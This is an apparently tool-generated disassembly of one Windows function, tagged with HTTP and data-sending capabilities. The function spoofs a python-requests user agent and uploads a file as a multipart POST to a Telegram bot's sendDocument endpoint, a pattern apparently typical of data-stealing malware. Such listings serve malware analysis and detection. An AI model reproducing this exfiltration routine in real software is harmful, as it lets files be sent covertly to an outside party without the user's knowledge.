Function at 0x14005a6c0
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response
Send data
Send http request
Set http header

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x2888
call fcn.140099af4
sub rsp, rax
movaps xmmword [rsp + 0x2870], xmm6
mov rdi, r9
mov rbx, r8
mov ebp, edx
mov r13, rcx
mov dword [rsp + 0x9c], 0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0xf0], xmm0
mov qword [rsp + 0x100], 0
movdqa xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], 0
movdqa xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x120], 0
movdqa xmmword [rsp + 0xd0], xmm0
mov qword [rsp + 0xe0], 0
movdqa xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x90], 0
mov dword [rsp + 0x20], 0
lea rcx, str.python_requests_2.28.2
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov rsi, rax
test rax, rax
je 0x14005a7ee
mov dword [rsp + 0x20], 0xea60
mov rcx, rsi
mov edx, 0xea60
mov r8d, 0xea60
mov r9d, 0xea60
call qword [sym.imp.WINHTTP.dll_WinHttpSetTimeouts]
lea rdx, [0x1401fe28e]
lea rcx, [rsp + 0xf0]
call fcn.140072c50
lea rcx, [rsp + 0x110]
mov rdx, rbx
call fcn.140071df0
movzx ebx, byte [rsp + 0x110]
test bl, 1
je 0x14005a805
mov r15, qword [rsp + 0x120]
mov rbx, qword [rsp + 0x118]
jmp 0x14005a810
xor edi, edi
xor esi, esi
test byte [rsp + 0x80], 1
jne 0x14005aae8
jmp 0x14005aaf5
shr rbx, 1
lea r15, [rsp + 0x111]
movabs rax, 0x7ffffffffffffff0
cmp rbx, rax
jae 0x14005b2e3
cmp rbx, 0xb
jae 0x14005a842
lea eax, [rbx + rbx]
mov byte [rsp + 0x40], al
lea rax, [rsp + 0x42]
mov rdx, rax
test rbx, rbx
jne 0x14005a86e
jmp 0x14005a97e
mov r14, rbx
or r14, 7
inc r14
js 0x14005b2ed
lea rcx, [r14 + r14]
call fcn.14006fb50
mov qword [rsp + 0x50], rax
or r14, 1
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], rbx
lea rcx, [r15 + rbx]
cmp rbx, 0x10
jb 0x14005a88e
cmp rax, rcx
jae 0x14005a925
lea rdx, [rax + rbx*2]
cmp r15, rdx
jae 0x14005a925
mov rdx, rax
mov r8, r15
mov r9d, ecx
sub r9d, r8d
mov rax, r8
not rax
add rax, rcx
and r9, 7
je 0x14005a8c4
nop dword [rax]
movsx r10d, byte [r8]
mov word [rdx], r10w
inc r8
add rdx, 2
dec r9
jne 0x14005a8b0
cmp rax, 7
jb 0x14005a97e
nop
movsx eax, byte [r8]
mov word [rdx], ax
movsx eax, byte [r8 + 1]
mov word [rdx + 2], ax
movsx eax, byte [r8 + 2]
mov word [rdx + 4], ax
movsx eax, byte [r8 + 3]
mov word [rdx + 6], ax
movsx eax, byte [r8 + 4]
mov word [rdx + 8], ax
movsx eax, byte [r8 + 5]
mov word [rdx + 0xa], ax
movsx eax, byte [r8 + 6]
mov word [rdx + 0xc], ax
movsx eax, byte [r8 + 7]
mov word [rdx + 0xe], ax
add r8, 8
add rdx, 0x10
cmp r8, rcx
jne 0x14005a8d0
jmp 0x14005a97e
mov r9, rbx
and r9, 0xfffffffffffffff0
lea rdx, [rax + r9*2]
lea r8, [r15 + r9]
xor r10d, r10d
nop word [rax + rax]
movq xmm0, qword [r15 + r10]
punpcklbw xmm0, xmm0
movq xmm1, qword [r15 + r10 + 8]
punpcklbw xmm1, xmm1
psraw xmm0, 8
psraw xmm1, 8
movdqu xmmword [rax + r10*2], xmm0
movdqu xmmword [rax + r10*2 + 0x10], xmm1
add r10, 0x10
cmp r9, r10
jne 0x14005a940
cmp rbx, r9
jne 0x14005a894
mov word [rdx], 0
movzx r8d, byte [rsp + 0x40]
test r8b, 1
je 0x14005a99b
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x48]
jmp 0x14005a9a3
lea rdx, [rsp + 0x42]
shr r8, 1
lea rcx, [rsp + 0xf0]
call fcn.140072750
test byte [rsp + 0x40], 1
je 0x14005a9c1
mov rcx, qword [rsp + 0x50]
call fcn.14006fbd0
lea rdx, str._SendDocument_chat_id
lea rcx, [rsp + 0xf0]
call fcn.140072e90
lea rcx, [rsp + 0x40]
mov rdx, rdi
call fcn.1400738f0
movzx r8d, byte [rsp + 0x40]
test r8b, 1
je 0x14005a9fa
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x48]
jmp 0x14005aa02
shr r8, 1
lea rdx, [rsp + 0x42]
lea rcx, [rsp + 0xf0]
call fcn.140072750
test byte [rsp + 0x40], 1
je 0x14005aa20
mov rcx, qword [rsp + 0x50]
call fcn.14006fbd0
lea rdx, str.api.telegram.org
mov rcx, rsi
mov r8w, 0x1bb
xor r9d, r9d
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rdi, rax
test rax, rax
je 0x14005aabe
test byte [rsp + 0xf0], 1
je 0x14005aa54
mov r8, qword [rsp + 0x100]
jmp 0x14005aa5c
lea r8, [rsp + 0xf2]
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0x800000
lea rdx, str.POST
mov rcx, rdi
xor r9d, r9d
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rbx, rax
test rax, rax
je 0x14005aabe
lea rdx, str.__myboundaryabd44
lea rcx, [rsp + 0xd0]
call fcn.140071dc0
movzx r12d, byte [rsp + 0xd0]
mov eax, r12d
and al, 1
je 0x14005ab9a
mov r12, qword [rsp + 0xd8]
jmp 0x14005ab9d
xor ebx, ebx
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov dil, 1
test byte [rsp + 0x80], 1
je 0x14005aaf5
mov rcx, qword [rsp + 0x90]
call fcn.14006fbd0
test byte [rsp + 0xd0], 1
jne 0x14005ab53
test byte [rsp + 0x110], 1
jne 0x14005ab6a
test byte [rsp + 0xa0], 1
jne 0x14005ab81
test byte [rsp + 0xf0], 1
je 0x14005ab2a
mov rcx, qword [rsp + 0x100]
call fcn.14006fbd0
test dil, dil
je 0x14005ab31
xor esi, esi
and sil, 1
mov eax, esi
movaps xmm6, xmmword [rsp + 0x2870]
add rsp, 0x2888
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [rsp + 0xe0]
call fcn.14006fbd0
test byte [rsp + 0x110], 1
je 0x14005ab09
mov rcx, qword [rsp + 0x120]
call fcn.14006fbd0
test byte [rsp + 0xa0], 1
je 0x14005ab13
mov rcx, qword [rsp + 0xb0]
call fcn.14006fbd0
test byte [rsp + 0xf0], 1
jne 0x14005ab1d
jmp 0x14005ab2a
shr r12, 1
lea r14, [r12 + 2]
cmp r14, 0xfffffffffffffff0
jae 0x14005b2f2
mov qword [rsp + 0x158], r13
cmp r14, 0x16
ja 0x14005abda
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
add r14b, r14b
mov byte [rsp + 0x60], r14b
xor r13d, r13d
jmp 0x14005ac0f
mov r15, r14
or r15, 0xf
inc r15
mov rcx, r15
call fcn.14006fb50
mov r13, rax
or r15, 1
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], r14
movzx eax, byte [rsp + 0xd0]
and al, 1
mov r14d, r15d
test r14b, 1
lea rcx, [rsp + 0x61]
cmove r13, rcx
lea r15, [rsp + 0xd1]
mov rdx, r15
test al, al
je 0x14005ac33
mov rdx, qword [rsp + 0xe0]
mov rcx, r13
mov r8, r12
call sub.msvcrt.dll_memmove
mov word [r13 + r12], 0xa0d
mov byte [r13 + r12 + 2], 0
lea rdx, str.Content_Disposition:_form_data__name_document___filename_testt_
lea rcx, [rsp + 0x60]
call fcn.140071fd0
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x50], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x40], xmm0
xorps xmm6, xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rdx, str._r_n_r_n
lea rcx, [rsp + 0x40]
call fcn.140071fd0
movzx r14d, byte [rax]
movzx r12d, byte [rax + 1]
mov rcx, qword [rax + 8]
mov qword [rsp + 0xbe], rcx
mov rcx, qword [rax + 2]
mov qword [rsp + 0xb8], rcx
mov r13, qword [rax + 0x10]
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x80], 1
je 0x14005acd6
mov rcx, qword [rsp + 0x90]
call fcn.14006fbd0
mov byte [rsp + 0x80], r14b
mov byte [rsp + 0x81], r12b
mov rax, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0xbe]
mov qword [rsp + 0x82], rax
mov qword [rsp + 0x88], rcx
mov qword [rsp + 0x90], r13
test byte [rsp + 0x40], 1
jne 0x14005ad38
test byte [rsp + 0x60], 1
jne 0x14005ad49
cmp ebp, 0xfffffff0
jae 0x14005ad58
movsxd r12, ebp
cmp ebp, 0x16
ja 0x14005ad62
add bpl, bpl
mov byte [rsp + 0x40], bpl
lea r13, [rsp + 0x41]
jmp 0x14005ad8a
mov rcx, qword [rsp + 0x50]
call fcn.14006fbd0
test byte [rsp + 0x60], 1
je 0x14005ad1c
mov rcx, qword [rsp + 0x70]
call fcn.14006fbd0
cmp ebp, 0xfffffff0
jb 0x14005ad21
lea rcx, [rsp + 0x40]
call fcn.140030800
mov rbp, r12
or rbp, 0xf
inc rbp
mov rcx, rbp
call fcn.14006fb50
mov r13, rax
mov qword [rsp + 0x50], rax
or rbp, 1
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], r12
mov rcx, r13
mov rdx, qword [rsp + 0x158]
mov r8, r12
call sub.msvcrt.dll_memcpy
mov byte [r13 + r12], 0
movzx r8d, byte [rsp + 0x40]
test r8b, 1
je 0x14005adbb
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x48]
jmp 0x14005adc3
lea rdx, [rsp + 0x41]
shr r8, 1
lea rcx, [rsp + 0x80]
call fcn.140071800
test byte [rsp + 0x40], 1
je 0x14005ade1
mov rcx, qword [rsp + 0x50]
call fcn.14006fbd0
movzx r12d, byte [rsp + 0x80]
mov eax, r12d
and al, 1
je 0x14005adfb
mov r12, qword [rsp + 0x88]
jmp 0x14005adfe
shr r12, 1
lea rbp, [r12 + 2]
cmp rbp, 0xfffffffffffffff0
jae 0x14005b2fc
cmp rbp, 0x16
ja 0x14005ae33
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
add bpl, bpl
mov byte [rsp + 0x60], bpl
xor r13d, r13d
jmp 0x14005ae68
mov r14, rbp
or r14, 0xf
inc r14
mov rcx, r14
call fcn.14006fb50
mov r13, rax
or r14, 1
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], rbp
movzx eax, byte [rsp + 0x80]
and al, 1
mov ebp, r14d
lea r14, [rsp + 0x81]
test bpl, 1
lea rcx, [rsp + 0x61]
cmove r13, rcx
mov rdx, r14
test al, al
je 0x14005ae8c
mov rdx, qword [rsp + 0x90]
mov rcx, r13
mov r8, r12
call sub.msvcrt.dll_memmove
mov word [r13 + r12], 0xa0d
mov byte [r13 + r12 + 2], 0
movzx r8d, byte [rsp + 0xd0]
test r8b, 1
je 0x14005aec6
mov r15, qword [rsp + 0xe0]
mov r8, qword [rsp + 0xd8]
jmp 0x14005aec9
shr r8, 1
lea rcx, [rsp + 0x60]
mov rdx, r15
call fcn.140071800
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x50], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x40], xmm0
xorps xmm6, xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rdx, str.___r_n
lea rcx, [rsp + 0x40]
call fcn.140071fd0
lea r15, [rsp + 0x82]
movzx ebp, byte [rax]
movzx r12d, byte [rax + 1]
mov rcx, qword [rax + 8]
mov qword [rsp + 0xbe], rcx
mov rcx, qword [rax + 2]
mov qword [rsp + 0xb8], rcx
mov r13, qword [rax + 0x10]
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x80], 1
je 0x14005af56
mov rcx, qword [rsp + 0x90]
call fcn.14006fbd0
mov byte [rsp + 0x80], bpl
mov byte [rsp + 0x81], r12b
mov rax, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0xbe]
mov qword [r15 + 6], rcx
mov qword [r15], rax
mov qword [rsp + 0x90], r13
test byte [rsp + 0x40], 1
je 0x14005af96
mov rcx, qword [rsp + 0x50]
call fcn.14006fbd0
test byte [rsp + 0x60], 1
je 0x14005afa7
mov rcx, qword [rsp + 0x70]
call fcn.14006fbd0
mov ecx, 0x30
call fcn.14006fb50
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0xb8], 0x19
mov qword [rsp + 0xc0], 0x10
movups xmm0, xmmword [0x1401fe35e]
movups xmmword [rax + 0x10], xmm0
movdqu xmm0, xmmword [str.Content_Length:]
movdqu xmmword [rax], xmm0
mov word [rax + 0x20], 0
movzx edx, byte [rsp + 0x80]
test dl, 1
je 0x14005b005
mov rdx, qword [rsp + 0x88]
jmp 0x14005b008
shr rdx, 1
lea rcx, [rsp + 0x130]
call fcn.140073c90
movzx r8d, byte [rsp + 0x130]
test r8b, 1
je 0x14005b036
mov rdx, qword [rsp + 0x140]
mov r8, qword [rsp + 0x138]
jmp 0x14005b041
shr r8, 1
lea rdx, [rsp + 0x132]
lea rcx, [rsp + 0xb8]
call fcn.140072750
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x70], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x60], xmm0
xorps xmm6, xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rdx, str._r_nAccept:___r_n
lea rcx, [rsp + 0x60]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x50], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x40], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rdx, str.Content_Type:_multipart_form_data_boundarymyboundaryabd44_r_n_r_n
lea rcx, [rsp + 0x40]
call fcn.140072e90
movzx ebp, byte [rax]
movzx r15d, byte [rax + 1]
movzx r12d, word [rax + 2]
mov ecx, dword [rax + 0xc]
mov dword [rsp + 0x150], ecx
mov rcx, qword [rax + 4]
mov qword [rsp + 0x148], rcx
mov r13, qword [rax + 0x10]
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xa0], 1
je 0x14005b0fd
mov rcx, qword [rsp + 0xb0]
call fcn.14006fbd0
mov byte [rsp + 0xa0], bpl
mov byte [rsp + 0xa1], r15b
mov word [rsp + 0xa2], r12w
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0xa4], rax
mov eax, dword [rsp + 0x150]
mov dword [rsp + 0xac], eax
mov qword [rsp + 0xb0], r13
test byte [rsp + 0x40], 1
jne 0x14005b172
test byte [rsp + 0x60], 1
jne 0x14005b183
test byte [rsp + 0x130], 1
jne 0x14005b197
test byte [rsp + 0xb8], 1
jne 0x14005b1ae
test byte [rsp + 0xa0], 1
je 0x14005b1c5
mov rdx, qword [rsp + 0xb0]
jmp 0x14005b1cd
mov rcx, qword [rsp + 0x50]
call fcn.14006fbd0
test byte [rsp + 0x60], 1
je 0x14005b14a
mov rcx, qword [rsp + 0x70]
call fcn.14006fbd0
test byte [rsp + 0x130], 1
je 0x14005b154
mov rcx, qword [rsp + 0x140]
call fcn.14006fbd0
test byte [rsp + 0xb8], 1
je 0x14005b15e
mov rcx, qword [rsp + 0xc8]
call fcn.14006fbd0
test byte [rsp + 0xa0], 1
jne 0x14005b168
lea rdx, [rsp + 0xa2]
mov rcx, rbx
mov r8d, 0xffffffff
mov r9d, 0x20000000
call qword [sym.imp.WINHTTP.dll_WinHttpAddRequestHeaders]
test eax, eax
je 0x14005aac0
movzx eax, byte [rsp + 0x80]
test al, 1
je 0x14005b1ff
mov eax, dword [rsp + 0x88]
jmp 0x14005b202
shr rax, 1
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x20], 0
mov rcx, rbx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x14005aac0
movzx eax, byte [rsp + 0x80]
mov r8, rax
shr r8, 1
test al, 1
cmovne r14, qword [rsp + 0x90]
cmovne r8d, dword [rsp + 0x88]
mov rcx, rbx
mov rdx, r14
xor r9d, r9d
call qword [sym.imp.WINHTTP.dll_WinHttpWriteData]
test eax, eax
je 0x14005aac0
mov rcx, rbx
xor edx, edx
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x14005aac0
lea rdx, [rsp + 0x160]
lea r9, [rsp + 0x9c]
mov rcx, rbx
mov r8d, 0x2710
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
cmp dword [rsp + 0x9c], 0x21
jb 0x14005aac0
lea rdx, str._ok_:true__result_:_message_id_
lea rcx, [rsp + 0x160]
mov r8d, 0x21
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x14005aac0
mov sil, 1
xor edi, edi
test byte [rsp + 0x80], 1
jne 0x14005aae8
jmp 0x14005aaf5
lea rcx, [rsp + 0x40]
call fcn.140002ec0
call fcn.140002f60
lea rcx, [rsp + 0x60]
call fcn.140030800
lea rcx, [rsp + 0x60]
call fcn.140030800
mov rsi, rax
test byte [rsp + 0x40], 1
jne 0x14005b330
test byte [rsp + 0x60], 1
jne 0x14005b34d
test byte [rsp + 0x130], 1
jne 0x14005b370
test byte [rsp + 0xb8], 1
jne 0x14005b396
jmp 0x14005b3fe
mov rcx, qword [rsp + 0x50]
call fcn.14006fbd0
test byte [rsp + 0x60], 1
je 0x14005b317
jmp 0x14005b34d
mov rcx, qword [rsp + 0x70]
call fcn.14006fbd0
test byte [rsp + 0x130], 1
je 0x14005b321
jmp 0x14005b370
mov rcx, qword [rsp + 0x140]
call fcn.14006fbd0
test byte [rsp + 0xb8], 1
jne 0x14005b396
jmp 0x14005b3fe
mov rcx, qword [rsp + 0xc8]
call fcn.14006fbd0
jmp 0x14005b3fe
test byte [rsp + 0x80], 1
jne 0x14005b44f
test byte [rsp + 0xd0], 1
jne 0x14005b466
test byte [rsp + 0x110], 1
jne 0x14005b47d
test byte [rsp + 0xa0], 1
jne 0x14005b494
test byte [rsp + 0xf0], 1
je 0x14005b43d
mov rcx, qword [rsp + 0x100]
call fcn.14006fbd0
mov rcx, rsi
call fcn.14006fc70
call fcn.14006fe10
jmp 0x14005ab2f
mov rcx, qword [rsp + 0x90]
call fcn.14006fbd0
test byte [rsp + 0xd0], 1
je 0x14005b412
mov rcx, qword [rsp + 0xe0]
call fcn.14006fbd0
test byte [rsp + 0x110], 1
je 0x14005b41c
mov rcx, qword [rsp + 0x120]
call fcn.14006fbd0
test byte [rsp + 0xa0], 1
je 0x14005b426
mov rcx, qword [rsp + 0xb0]
call fcn.14006fbd0
test byte [rsp + 0xf0], 1
jne 0x14005b430
jmp 0x14005b43d